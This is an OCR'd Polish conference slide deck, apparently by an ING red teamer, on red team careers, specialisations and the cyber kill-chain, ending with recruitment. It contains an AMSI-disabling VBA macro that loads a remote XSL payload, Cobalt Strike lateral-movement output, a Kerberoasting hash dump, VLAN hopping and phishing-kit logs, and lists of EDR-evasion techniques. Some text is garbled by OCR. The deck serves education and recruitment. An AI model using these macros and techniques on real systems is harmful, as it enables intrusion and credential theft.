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« 8+ lat komercyjnie w ITSec

* Ex-analityk malware’u & programista silnika AV

e IT Security trainer

 Pentester, Red Team Operator

e Malware Developer aka ,,0ffensive Security Engineer”

« Posiadacz garsci certyfikatdéw branzowych
CREST CRT, CRTE, CRTP, OSCE, OSCP, OSWP, CCNA, eCPTX, CARTP
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Ofensywne Sciezki rozwoju »

Audyt

Bezposrednio pod Zarzgdem
Formalna analiza pracy Zespoiow, Technologii, Procedur

Szukamy
» nieprawidiowosci, nie dziatajacych procesoéw,
» niejednolitych konfiguracji, luk w detekcji

» podatnosci, probleméw zespotowych, braku finansowania

Testy techniczne wsparciem rekomendacji
» Skanowanie konfiguracji, symulacja atakéw, pentesty krytycznych
systemow
Przyktadowe projekty:

» Network Security, 3DSecure, Bankomaty, Zarzadzanie Hotelami, Praca
zespotdw SOC, SWIFT

Poziom trudnosci

Formalnosci

Prace techniczne

Systemy krytyczne

Informacje niejawne
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Ofensywne Sciezki rozwoju »

99  Testy Penetracyjne

» Kazda apka, siel, system przedmiotem testow

» Szukamy
» Podatnosci - RCE, SQL Injection, CVE, ZerolLogon,
» Niebezpieczne konfiguracje - VLAN Hopping, Kerberoasting

» Inne uwagi - przewidywalne ID, enumeracja uzytkownikodw,

» Przyktadowe projekty:
» Web Application
» Mobile
» Networks - routery, serwery, Active Directory,
» Clouds - AWS, Azure, GCP, Oracle, SAP, SalesForce
» IoT, Hardware - RFID, BLE beacony, routery, kamerki

» Inter-technologiczne
»  Duze systemy - SAP, SWIFT, 3DSecure/PSD2,

»  Attack Path Mapping = pentest-all-the-things

Poziom trudnosci
Formalnosci
Prace techniczne

Systemy krytyczne

Informacje niejawne m

INFORMATION
SECURITY

CONFIDENTIALITY




Ofensywne Sciezki rozwoju »

& Adversary Simulation

Poziom trudnosci

Formalnosci

» Realistyczne wlamanie, nasladowanie TTP Systemy krytyczne

» Testujemy Informacje niejawne

I
» Symulacja grup przestepczych (APT) - Red/Purple Teaming  Pracetechniczne (GG
I

» Ludzi - detekcja, reakcja, przestrzeganie procedur

» Procesy - czy incydent zostat obsituzony poprawnie?
» Technologie - czy AV/EDR zareagowai? Czy SIEM wygenerowat
incydent?
Soarh
» Zatozenia: .

» Srodowisko z dojrzatym ekosystemem bezpieczerstwa
» Dysponujgce zespotami Blue Team/SOC, wdrozonym SIEM '




Ofensywne Sciezki rozwoju »

®  Bug Hunting & Exp Dev

&

Poziom trudnosci
Formalnosci

» Test uj emy Prace techniczne

» Uzywane technologie, protokoty w firmie i na sSwiecie

Systemy krytyczne
» Zewnetrznie dostarczany produkt - pod katem bezpieczenstwa
» Biblioteki, zalezne komponenty Informacje niejawne

» ,,Bank stosuje protokot FIX - dotqgd nikt nie badat

bezpieczenstwa tego rozwiqgzania.”

process timing

0 days, O hrs,

i

american fuzzy lop 0.47b (readpng)

overall results
4 min, 43 sec ycles 3 2

o o
0 days, 0 hrs, 0 min, 26 sec < 195
)) TeChnlkl : none seen yet i 1s he =3 1
1 ng : 0 days, 0 hrs, 1 min, 51 sec uniq hangs : 1
cycle progress map coverage
now processing : 38((19.45);%) dens 1217 l57.4;%) ;
. . paths t i ou 0 (0.00%, our overa 2.55 bits/tuple
» Statyczna analiza kodu / Code Review stage progress findings in depth
now ying : interest 32/8 favor é 128 (65.64%)
: 0/9990 (0.00%) 85 (43.59%)
654k 0 (0 unique)

» Debugging, Fuzzing, Reverse Engineering

: 2306/sec
fuzzing strategy yie
it flips 88/14.4k, 6/14.4k, 6/14.4k

3 0/1804,

: 31/126k, 3/45.6k, 1/17.8k ) fav

1/15.8k, 4/65.8k, 6/78.2k nported 0

34/254k, 0/0 variat 0

2876 B/931 (61.45% gain) AT 0

tal 1 (1 unique)
1ds path geometry
> 3

178
114

0/1786, 1/1750
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Co to jest ten Red Team?
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Ludzie + Procesy + Technologie

Red Team, Blue Team, Purple Team, oh my..
Objective-Driven Engagement

Research & Development

Cyber Kill-Chain




Polska Potrzebuje Red Teamy!

Cyberbezpieczenstwo 5-tym filarem obrony NATO

Budujemy Cyber-Obrone, a co z Cyber-Ofensywg?

Frameworki prawne - CBEST, TIBER-EU

Infrastruktura krytyczna
» Rzad, Wojsko
» Energetyka, Wodociggi
» Telekomunikacja
» Szpitale
» Systemy rzadowe
» Transport

» Sektor prywatny

m Mykhailo Fedorov &
" z hailo

We are creating an IT army. We need digital talents. All
operational tasks will be given here: t.me/itarmyofurraine.
There will be tasks for everyone. We continue to fight on
the cyber front. The first task is on the channel for cyber

specialists.

t.me

IT ARMY of Ukraine

'@ CYBER.MIL.PL

D

UKRAINE CALIi
ON HACKERS FOR
CYBERSECURITY

Key NATO Cybersecurity Dates

2004 — Baltic States (Estonia, Latvia and Lithuania) join NATO.
Estonia proposes the concept for a cyber defense centre to NATO.

2006 — Supreme Allied Commander approves concept.
2007 — Cyber attack against Estonia.
2008 — Russian ‘hybrid’ attack against Georgia.

2014-16 - Russian cyber-aggression (Crimea, Donbass, grid) against
Ukraine (and Ukraine’s cyber-responses)

2016 — NATO recognises ‘Cyberspace’ as a ‘Domain of Operations’
at Warsaw Summit.

2016 — reaffirms the applicability of international law and NATO’s
defensive mandate for cyberspace and members pledge to further
develop NATO/EU cyber defensive capabilities/cooperation.

You canv nd join @itarmyofurraine right away
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Polska Potrzebuje Red Teamy! ’38%%5{&%2%"&“&%%&?% |
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Cyber-Przestrzeni |

» Cyber-partyzanci Afera mailowa. Raport Mandiant: WHO’S WHO IN RUSSIAN CYBER ESPIONAGE?
hakerzy stojgcy za wyciekiem maili
» Polska Kontr-Ofensywa Dworczyka powigzani z Biatorusiq
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Federal Protective Federal Security Foreign Intelligence Main Intelligence
Service of the Russian Service of the Russian SEmu?U‘F the F?EsEian Directorate ugf the General

Federation Federation Federation Staff of the Armed Forces

Google ujawnia biatoruski cyberatak na Ukraine. Celem I s
eecanTee

takze polskie konta wojskowe

The FSO's Spetssvyaz

are not comparable From the Russian ter-
sub-unit organizes na- to the other Russian ritory, the GRU actively
Dodano: 8 marca 2022, 07:04 / 12505 / 41 —5 tional government and special services, but carries out signals and
military communica- Uzl G el the SVR is engaged in cyber intelligence around
tions and ensures the FSBS’_E mai_" Lyrde _a"d developing its cyber the world, possessing
. ) . - - security of the data ;‘;r;::r‘tﬁ::::::'o' capability. the be_st technological
Ghostwriter/lUNC1151, a Belarusian threat actor, has conducted credential phishing i the FSE's 1th Centre .
may have targets outside
campaigns over the past week against Polish and Ukrainian government and military b
organizations. TAG has also identified campaigns targeting webmail users from the TURLA APT23 APT28
Snake/Uroburos The Dukes/Cozy Bear Sofacy/Fancy Bear

following providers:

APT - or Advanced Persistent Threat — carefully targeted, long term cyber aperations in the course of which attackers
combine multiple techniques to obtain the needed information about the target.



Droga Red Teamera

» Programista/Admin/Bezpiecznik » Pentester » Red Teamer

» Dlaczego warto sie tym zajac?
» Praca z ludzZmi i nowoczesnymi technologiami

» Dostep do poufnych danych i systemow

» terminale przelewéw, konsole SWIFT, Domain Admin w Active Directory Banku,

» Realistyczne Witamanie do Banku = Niezita zabawa + Duza wartos¢ dodana

» 0d maila Phishingowego do realizacji zadanych celodw

» Idealnie dla Red Teamu - przy braku detekcji ©
» Emocjonujgce projekty, pozostawiajg wiele historii i wspomnien
» Rzadka ekspertyza = wysokie wynagrodzenie i bezpieczenstwo zatrudnienia

» Hacking at its Best!



Droga Red Teamera

» Ciemne strony?

» Wymagana praktyka
» Red Teamer musi miec¢ silne zaplecze techniczne - Pentester, Programista, Admin

» Czas szkolenia dobrego Red Teamera = Czas szkolenia dobrego Snajpera = 5 lat.

» Zabdjcze tempo rozwoju branzy
» Co tydzien nowe ataki i techniki

. , N Ciezkie zycie animusx

» Wysoki poziom trudnosci - T I
» Omijanie AV, EDR, skanowania skrzynek pocztowych, DLP, Web Proxy, Identity Protection

» Wyrzucenie z sieci -> zmiana IOC -> powrdt do sieci

» Mnéstwo R&D, Malware Development, Infrastructure Setup

» W Polsce jeszcze skromny rodzimy rynek pracy



Superspecjalizacije
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King Phisher - Social Engineer

OSINTer

Malware Developer

Clouds, Infra & DevOps Magician
Networks, Active Directory Guru

Windows Post-Exploitation Operator

£ ..
-
} # \T
Y J

‘.
I specialize in a very

\ L

_~Shecific type of security )A



Superspecjalizacje »
King Phisher - Social Engineer

)

~

Ten ktory dzwoni/pisze maila/SMSuje ;>
» Czesto zamitowany w OSINTcie
» Tworzy urzekajgce preteksty socjotechniczne/phishingowe

» Doskonale rozumie systemy pocztowe, anty-spamowe

» Kategoryzacje, dojrzatosc, zaufanie domen

» Zna reguty anty-spamowe, bad smells, konstruuje tadne maile

Anti_Spam_Rules_ReverseEngineered = \

~Kevin Mitnick,

SOCIAL

ANCHNANHINC

The Art of Human Hacking

/'C

\“
| &
\
|

[

CHRISTOPHER HADNAGY

.‘w1\\§E§T

{ ANALYSIS::
'35100500006' : logger.colored('(SPAM) Message contained embedded image.', 'red'), - List of server hops used to deliver message:
# https://docs.microsoft.com/en-us/answers/questions/416100/what-is-meanings-of-39x-microsof --> (1) "postmaster" <postmaster@h: ips.com>
'520007650" : logger.colored('(SPAM) Moved message to Spam and created Email Rule to move me: |_> (2) SMTP-SERVICE (rev: ip: et an.pl) (91 )
time: 2021-10-15 10:
# triggered on an empty mail with subject being: "test123 - viagra" id: 616959190d52 (version=TLS1.3, cipher=TLS_AES_128_GCM_SHA256)
"162623004" : 'Subject line contained suspicious words (like Viagra).', b¥: smtp-out-n@4.prod.eu-central-1.postgun.com
with: SMTP
. . ) ) ) ) . extra:
# triggered on mail with subject "test123" and body being single word "viagra” - version=TLS1.3, cipher=TLS_AES_128_GCM_SHA256

"19618925003' : 'Mail body contained suspicious words (like viagra).",

|_> (3) m32-15.eu.mailgun.net (141.193.32.15)

# triggered on mail with empty body and subject "Click here" E;Te:
'282330@1"' : 'Subject line contained suspicious words luring action (ex. "Click here"). ', by;
with:

2021-10-15 10:34:12+00:00

fuzzy match: Exchange Server 2019 CUll; October 12, 2021; 15.2.986.9
BN1NAMO2FTO17.mail.protection.outlook.com (10.13.2.134)

Microsoft SMTP Server (version=TLS1_2, cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SH
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Superspecjalizacje »

a2 OSINTer

Spec ktory odnajdzie kazdy serwer, cziowieka,

Wiedze o Swiecie czerpie z SHODANa

Ludzi poznaje przez fake konto na LinkedInie

mail, telefon

Dowie sie wiecej o firmie w Internecie, niz sama firma wie.

» Znajdzie plik na stronach firmy, z wewnetrznymi Sciezkami URL

» Pozna nazwy zespoidw, proceséw, narzedzi i pomoze przygotowaé wysmienity pretekst

Wie czym sie interesujesz i jaki Voucher prezentowy Ci podestacd

©

Locations ¥

) ®

t

na

[+] Emails

hs
akash.
Satya Nadella - 3rd+ @ sally.
: jennifer.
michael.

askoolum@thegus

~d1an. com

]
guardian. com

“alan. com
1. Com

ruardian. com

safi 1‘}‘ theguardian. com

Username

Email Address
Domain Name

IP Address

Images / Videos / Docs
Social Networks
Instant Messaging
People Search Engine
Dating

Telelephone Numbers
Public Records
Business Records
Transportation
Geolocation Tools / Maps
Search Engines
Forums / Blogs / IRC
Archives

Language Translation
Metadata

Mobile Emulation
Terrorism

Dark Web

Digital Currency
Classifieds

Encoding Decoding
Tools

Malicious File Analysis
Exploits and Advisories
Threat Intelligence
OpSec
Documentation
Training

Pentest-Tools Subdomain
Whois Records ; Spyse Subdomain

Subdomains

Discovery
Analytics

i Google Subdomains i

Builtwith i
Wappalyzer

Cached View

Wayback Machine ;
Web
Data Leaks Archive.is ‘

Public Datasets i
Other Media

Exploit DB
Packet Storm Security

SecurityFocus

Exploits and Advisories
Threat Intelligence

CVE - MITRE
Secunia Research Advisories

National Vulnerability DB
Documentation i

Training
Snyk Vulnerability Database
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Superspecjalizacje »

4+ Malware Developer

Programista C/C++/C#/Assembly/HTML/VBS/JS/Python/Rust/Nim/Go

Przygotowuje autorski malware pod ten konkretny projekt

» Unikatowe IOC

» Probki nie znane dotad antywirusom

Troszczy sie o obchodzenie detekcji na kazdym polu (Evasion)

» Przemycenie pliku podczas Phishingu przez Web Proxy

» Zachecenie celu do uruchomienia makra w Visual Basicu w dokumencie Office

taczy sekwencje kilkunastu technik aby osiggnaé cele

»  HTML Smuggling, VBA obfuscation, .NET deserialization,
»  API Unhooking/direct Syscalls,
» Shellcode fluctuation, Thread Stack spoofing,

»  Execution guardrails, Heaps encryption

SOMETHING WENT WRONG Enable Content to load the document

Enable content to adjust this document
W to your version of Microsoft Word ™

Sub Auto_Open()
regpath = "HKCU\Software\MicrosoftA\Windows Script\Settings\AmsiEnable"
Set oWSS = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8" )
e =0
On Error Resume Next
r = oWSS.RegRead(regpath)
If r <= @ Then
oWSS.RegWrite regpath, "@", "REG_DWORD"
e=1
End If

If Err.Number <> @ Then
oWSS.RegWrite regpath, "@", "REG_DWORD"
e=1

Err.Clear

End If

Set XML = CreateObject("Microsoft.XMLDOM")
XML.async = False

Set xsl = XML

xsl.Load "http://192.168.2.1:8080/f00.xs1"
XML. transformNode xsl

If e Then
oWSS.RegWrite regpath, "1", "REG_DWORD"
End If

On Error GoTo @
Fnd Suh



Superspecjalizacje »
& Clouds, Infra & DevOps Magician

» Kozak od AWSa, Azure’a, Dockera, Terraforma, Ansible’a, DevOpsow @

Scanners,

» Machnieciem roézdzki buduje skomplikowane infrastruktury Red Teamowe = FORs
VPN
connected

»  Serwery SMTP + Webowe + DNS + C2, Serverless Redirectory, konfiguruje DNSy target

» Elastycznie skalowalne jako zasoby chmurowe (EC2, Lambda, SES)

rporaey Teamserver

Home-office

» Zdolny kontratakowa¢ Blue Teamy blokujace infrastruktury Red Teamu e ﬂ
S

»  Gdy Blue Team blokuje adresy IP i domeny - InfraMagik odswieza RT infra w chmurze Blue S rearid
Perimeter Request DNS L Blacklist

z_ o o o . . ~ . . - ~akin Geoloca .
» Z predko$cig kilkudziesieciu nowych systeméw atakujgcych co minute! Terraform <3 lnspaction  Leokug MEDET Y leckup

domain1.com _~_%

E_ W i _.i—lai

» Gdy dostanie Rredki do Azure’a - kwestia czasu az osiqggnie Global Admina

\ domain3.com

domain4.com

Victim Internet Domains Redirectors Team Servers
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Superspecjalizacje »

;= Networks, Active Directory Guru

Guru z zapleczem sieciowym - weteran administratorki AD, routerodw,

protokoidéw sieciowych, konfiguracji demondéw na serwerach

Ten, ktory gotym okiem rozpozna czy domena AD jest
Wyczuje nosem reguty firewalla miedzy strefg DMZ a

Przed poranng kawg skacze miedzy VLANami

o
5

KEEP
CALM
AND
REBUILD THE
ENTIRE FOREST

segmentowana na Tiery

wewnetrzng

3

[>]
[>]

==>

[+]
[+]
[+]

Action: Kerberoasting

Using 'tgtdeleg®' to request a TGT for the current user

RC4_HMAC will be the requested for AES-enabled accounts, all etypes will be requeste
Searching the current domain for Kerberoastable users

Searching for accounts that only support RC4_HMAC, no AES

Total kerberoastable users : 4

SamAccountName : 1028892723SA

DistinguishedName : CN=1028892723SA,0U=Test,0U=AZR,0U=Tier 2,DC=1ab,DC=1local
ServicePrincipalName : http/labl.local

PwdLastSet 1 7/31/2020 9:30:08 PM

Supported ETypes : RC4_HMAC_DEFAULT

Hash - $krb:tgs$23$ 1028892723SA%$1ab.local$http/labl.local*$F31DES
F67610E4D2F4(6DE806280401E417DA016846568823ACBDG:ZDC04308EC90F8E6E4C47A3CBBE922A61AF

VLAN Hopping IS possible.

After Hopping to other VLANs - leave this program running to maintain connections.
Discovering new VLANS...

VLAN discovered: 1@

VLAN discovered: 2@

VLAN discovered: 3@

VLAN discovered: 99

Hopped to VLAN 1@.: 172.16.1@.1@

Hopped to VLAN 20.: 172.16.20.10

Hopped to VLAN 3@.: 172.16.30.11

THEY TOLD ME I COULD




Superspecjalizacje »

Zeg Windows Post-Exploitation Operator

» Dosta¢ sie do atakowanej sieci to jedno, utrzymac¢ tzw. Initial Foothold
to co$ zupeinie innego!
» Wiadca Implantow, operator wszystkich wiruséw - do ustug.

» Instaluje wirusa korzystajgc ze sprytnych technik Persystencji

» Wycigga wrazliwe dane z zainfekowanego komputera

Cobalt Strike

» Kopie po plikach, mailach, wpisach w KeePassie, RN RS Ercng Sale
OO0 0O H=E¢ B8 PLU cwBARN o B G
ciasteczkach, hastach przegladarki oo

!3p
e

f"g /HLLINSJ-SJEE:ER @ 632
____ — = —

» Monitoruje aktywnosc¢ uzytkownika: schowek, screenshoty, keylogging

. s 5
. . . . . . . q . 7 -~ fn S“(ST:EH‘ T o 7]
» Specjalizacja wymagajaca duzej wiedzy o ekosystemie Windows %4 ..... ¥—> < ceosaan u 24 *h—ﬁ‘ﬂ’
g whatta, hogg whatta, hogg * FiLesENuE g 108 SYSTER
152.168.1.95 WS2 @ 2364 W32 @ 3248 n!" [} DISCONNECTED 305HDEW @ 1536
o 7%
S

SYSTEM *+
HEIL @ 1384

Event Log X

) d ’ H

[+] Impersonated CORP\jim.stevens
Untitled - Notepad beacon> psexec FILESERVER ADMIN$ local - beacon smb

S - [*] Tasked beacon to run windows/beacon_smb/bind pipe (\\FILESERVER\pipe\status_9867) on FILESERVER via Service Control
Manager (\\FILESERVER\ADMIN$\achede5.exe)
[+] host called home, sent: 208140 bytes
' [+] received output:
Started service 19b4243 on FILESERVER
1 O il [+] established link to child beacon: 10.10.10.4
password with you over a note. heacon> pud . . .
Then password is - pt@123# [*] Tasked beacon to print working directory
[+] host called home, sent: 84 bytes
. [*] Current directory is C:\Windows\system32 -
Please bam make sure not to share this password Lfff?SBox] SYSTEM */2324 last: 8s

else. beacon>

hello




Reconnaissance Delivery Installation Action on
Objectives
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Command &

Weaponization Exploitation Control (C2C)
Operacja » Przebieg operacji

Red Teamowa » Cyber Kill-Chain
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Operacja Red Teamowa »

£8 Reconnaissance

Pierwszy, najwazniejszy etap operacji. Poznajemy nasz cel.

Wariant przestepczy:

» Przestepca wyszukuje pracownikéw, ich zainteresowania, social media

Wariant legalny:

» Red Teamer wyszukuje pracownikoéw, ich situzbowe kontakty

Wyszukujemy zapomniane serwery, aplikacje, zasoby chmurowe,

posty na LinkedInie, metadane, URLe, domeny.

&% SHODAN

#% Exploits
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Open Source Intelligence (/OSINV — Open Source Investigation)}
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Image / Vid / Doc
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1
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Google+
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Geospatial Data

" GeoNames IEEYTRER
EEGIIEDE  OpenRaitwayMap

Satellite Imagery

@ Goonle Earth

4 Descartes
Labs y

DigitalGlobe
=N e




»

»

»

»

»

Operacja Red Teamowa »

Weaponization

Przygotowanie pretekstdéw socjotechnicznych

» Stron Phishingowych

» Wektordow infekcji przenoszonych ziosliwym linkiem

Opracowanie landing page’ow infekujgcych odwiedzajgcego

» HTML Smuggling

Opracowanie ztosliwych skryptow/archiwéw/dokumentéw Office’a

» Cel: infekcja maszyny po uruchomieniu pliku.

» Dokumenty Office’a, LNK/HTA/VBS/JSE/SCT/CPL/XLL/inne

Przygotowanie zainfekowanych makr Visual Basic i dokumentoéw z

pretekstem

Przygotowanie malware’u w plikach wykonywalnych (CPL/EXE/XLL)

» Shellcode Loader’y, DLL Side Loading

[€8:23:56] [inf] loaded phishlet 'google’ from 'google.yaml®
[88:23:56] [inf] setting up certificates for phishlet 'google’...
[e8:23:56] [H)

[es:23:59] [HAl]

;;;;;;;;;

[08:24:22] [
68:24:29] [AN8

[o3: 1 [
[03:24:41] [

,,,,,,,,

as swor

CAUTION: This email originated from outside of the organization. Do not click links or open attachments unless you recognize the sender and know the content is safe.

Office 365

ID:

Your password for is setto expire on Thursday, November 12, 2020
You can change or continue with the same password with below button.

Email: |
Expiration Date: Thursday, November 12, 2020 12:48 PM
Error Code: M. ST 00

KEEP PASSWORD|

Further message might be prevented if any of the above actions are not performed.

To opt out or change where you receive security notifications, goto

email settings



»

»

»

»

»

Operacja Red Teamowa »

5 Delivery

Nawigzanie kontaktu z celami socjotechniki

»

»

Prowadzenie niewinnej konwersacji konczgcej sie prosba

Maile phishingowe

Telefon / Vishing

Spear-Phishing

Watering-Hole

Wariant Insider Threat

»

dostarczenie implantu w ramach Leg Upa

©——E&8—F

Spear-phishing User clicks the link HTML smuggling ZIP file contains
email with a technique drops JavaScript file
malicious link ZIP file downloader

=]
o —® — @ —

JavaScript connects Downloads ZIP file Malicious Performs credential
to malicious site containing DLL files imgengine.dll theft and
launched via DLL keylogging
sideloading
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Ope r'acj a Red Teamowa » Password12 .. 3 .. JohnWick@987 —@

WillSmith@123 —@

Exploitation

Password Spraying

» Office365

» ADFS - Active Directory Federated Services

Online Brute-Force na odkrytych ustugach, panelach logowania

Ataki na potencjalnie podatne zewnetrzne aplikacje, systemy, serwery

PNH-86-AE460750.doc [Compatibility Mode] - Word

At a k i n a Z a S O by i S’ r\ O d OW i S k a C h m u r\ Owe HOME \N;ER; DESIGN PAGE LAYOUT REFERENCES MAILINGS REVIEW VIEW
R L AR = 2T | aasbeede Asgbeede AaBbC - &
. . . o . aste S| B T U ek X X »-A- B
Detonacja wektora infekcji dostarczonego socjotechnika i o

1 SECURITY WARNING Macros have been disabled.

» Uruchomienie przez cel skryptu/ztosliwego dokumentu

Document created in

» Troska o unikanie detekcji (Evasion),

earlier version of
» przeciwdziatanie AV/EDR/Sandboxom/Proxy Microsoft Offlce Word

To view this content, please click "Enable Editing"

from the yellow bar and then click "Enable Content"

PAGE1OF1 O0WORDs [1Z ) B -—4+—+

100%



Operacja Red Teamowa »

& Installation

» Malware sie wykonat, trzymamy kciuki czy nie wzbudzi detekcji
» Anty-wirus skanuje plik statycznie -> emuluje plik (heurystyka)
»  Anty-wirus/EDR wysyta go do chmury w celu odpytania reputacji

»  Program sie uruchamia. Analiza behawioralna, HIPS, EDR - heurystyki, ETW TI

» Malware przetrwat wstepne analizy. Ukrywa sie i grzecznie zachowuje.
» Parent PID Spoofing, odhookowywanie bibliotek/API, patchowanie AMSI, ETW
» Ukrywanie/szyfrowanie podejrzanych regiondéw pamieci, zaciemnianie Call Stacku

» Wtapianie sie w t1o - precyzyjna infekcja procesow

» Persystencja.

» Instalacja wirusa w systemie celem przetrwania restartu - COM Hijacking, DLL Side Loading

[+] Initial Foothold established.
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Operacja Red Teamowa »

Command & Control (C2)

Egzotyczne kanaty sterowania wirusem

» Dzis: HTTPS - Github, Google Docs, Twitter, Slack, Mattermost

» Kiedy$: DNS, ICMP

» Wewnatrz sieci: LDAP, drukarki, MSSQL,

Operator przejmuje kontrole.

» Komendy w systemie - shell, powershell, DLL Injection, wykonanie

Situational Awareness

Lateral Movement

SMB Shares

.NETu w pamieci

» SMB Shares, MSSQL, ataki na Active Directory, Pass-the-Ticket/Hash

» Ataki sieciowe

ANY DOMAIN
CONTROLLER

J
W IR

Add Check

. Commands mmands

WRK1 (% WRK2
1 -l

om mands

( Gist snippet
Get ommand Send command
slack results

Attacker Slack channel Victim

Y,

Retrieve
stolen files File.io
cloud storage

Loterol Movement
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Operacja Red Teamowa »

Action on Objectives

Monitorowanie aktywnosci uzytkownikéw, Eskalacje uprawnien

» Monitorowanie klawiatury (keylogging), schowka, screenshoty/VNC
» Kradziez ciastek, hasel systemu i przegladarki, tokendéw Azure AD/Office365, KeePass’a

» Przegladanie plikéw, pamieci programow, skrzynki pocztowej, historii przegladarki

Poszukiwanie systemow bedgcych celami, dedykowane ataki

» Sharepoint, Confluence, JIRA, Gitlab, SAP, Intranet

Uzyskanie dostepu do krytycznych systeméw / celdw

» RDP, SSH, bazy danych, ciastka do webaplikacji

Dokumentacja realizacji celodw.

RAPORTOWANIE.



So you wanna become a Red Teamer,

» Praktyka
»  Zostan Pentesterem - skoncentruj sie na bezpieczenstwie:
»  Web Aplikacji
»  Sieci
»
» Skany i ataki sieciowe
»  Active Directory

» Chmur - AWS & Azure

» Bierz udziat w CTFach, ¢wicz na TryHackMe, HackTheBox

» Kursy, Certyfikaty
» Offensive Security: OSCP, OSCE, OSWE

» Zero-Point Security: Red Team Ops

» PentesterAcademy: CRTP, CRTE, PACES, CARTP

» Wtasny Research & Development
»
»

»

Bezpieczenstwo systemoéw operacyjnych Linux i Windows, eskalacje przywilejow

Zbuduj domowego laba - VirtualBox/Vmware lub w AWSie i testuj na nim ataki

Programuj wtasny malware na potrzeby Red Teaméw - zatdéz Githuba
Cwicz techniki, zdobywaj wiedze, testuj kazde nowe narzedzie - rozwijaj swéj warsztat TTP! rﬁz[jfw [j —
SEUWIT EL‘J

huh? 1 Hack

01 01010 M e

: =3
§ EE L
B B e pE EE

FOREST 1 —
=

FIREWALL

e = ch

D E e =t

STUDENT MACHINE FIREWALL

SERVERS

FIREWALL Sumn
FIREWALL

i Uiy
? FOREST 5‘ FOREST 4
& i

e v ‘ -

FOREST 6

Hack The Box

PEN-TESTING LABS

OFFENSIVE



ING Tech Poland rekrutuje

» Chetny wtamywaé¢ sie do Banku? ©

» Testy penetracyjne

» Operacje Internal Red Team

We Want YOU!

» Analizy bezpieczenstwa

» Rekrutujemy takze do innych zespoiodw
» Blue Team

» Purple Team

» Pracuj w duzym i doswiadczonym zespole!

» Zainteresowany?

» Odezwij sie do mnie: mariusz.banach@ing.com

» lub zawitaj na stronke: https://ingtechpoland.com/



mailto:mariusz.banach@ing.com
https://ingtechpoland.com/
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WARSZAWSKIE
DNI INFORMATYKI

Q&A

Pytania? ©

X< mb@binary-offensive.com

[} Linkedin https://www.linkedin.com/in/mariuszban

) GitHub  https://github.com/mgeeky

https://twitter.com/mariuszbit



mailto:mb@binary-offensive.com
https://www.linkedin.com/in/mariuszban/
https://twitter.com/mariuszbit
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WARSZAWSKIE
DNI INFORMATYKI

Dziekujemy za ogladanie!

Zapraszamy do zadawania pytan E

oraz oceny prelekcji pod nagraniem. <

e N B
&) www.WarszawskieDniInformatyki.pl 1-2 kwietnia 2022 9 Politechnika Warszawska + online w

ORGANIZATOR GLOWNY: ACddengjlﬁithnerS KOMITET ORGANIZACYJNY: kilkadziesigt organizacji z sektora IT / data science (petna lista na stronie wydarzenia)




